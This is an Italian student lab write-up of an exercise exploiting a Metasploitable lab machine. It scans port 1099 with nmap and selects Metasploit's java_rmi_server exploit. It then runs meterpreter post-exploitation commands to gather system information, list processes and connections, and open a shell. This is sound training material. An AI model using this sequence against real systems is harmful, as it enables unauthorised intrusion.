**W16D4 – Pratica**

**SCANSIONE**

1. Scansione nmap per porte aperte per assicurarsi che il servizio RMI sulla porta 1099 sia attivo sulla macchina Metasploitable.
   1. nmap -p 1099 192.168.11.112Immagine che contiene testo, schermata, Carattere

      Descrizione generata automaticamente
2. Avvio metasploit da kali
   1. msfadmin
3. Cerco l’exploit e lo seleziono (in base al ranking)
   1. search java
   2. search java/meterpreter
      1. use exploit/multi/misc/java\_rmi\_server (ranking excellent)
4. Configuro l’exploit
   1. Immagine che contiene testo, schermata, Carattere

      Descrizione generata automaticamente
   2. P.S. RPORT è 1099 e NON 1009
5. E lo faccio partire

**RACCOLTA INFORMAZIONI**

1. Ipconfig
   1. Immagine che contiene testo, schermata, Carattere

      Descrizione generata automaticamente
2. Route -> per routing tablesImmagine che contiene testo, schermata, Carattere

   Descrizione generata automaticamente
3. sysinfo (informazioni di sistema della “vittima”)
   1. Immagine che contiene testo, schermata, Carattere

      Descrizione generata automaticamente
4. ps (elenco processi in exec)
   1. evito lo screen in quanto veramente lungo
5. si può interagire con il file system ed eventualmente cercare / caricare / scaricare file (con ls vedo le dir, provo quello)
6. con screenshot potrei creare un’instantanea, ma “muore” la sessione di meterpreter
7. posso aprire una shell
   1. da cui vedo tutte le connessioni attive se uso
      1. netstat -tunlp
   2. da cui vedo i processi attivi se uso
      1. ps aux
   3. Immagine che contiene testo, schermata, menu, Carattere

      Descrizione generata automaticamente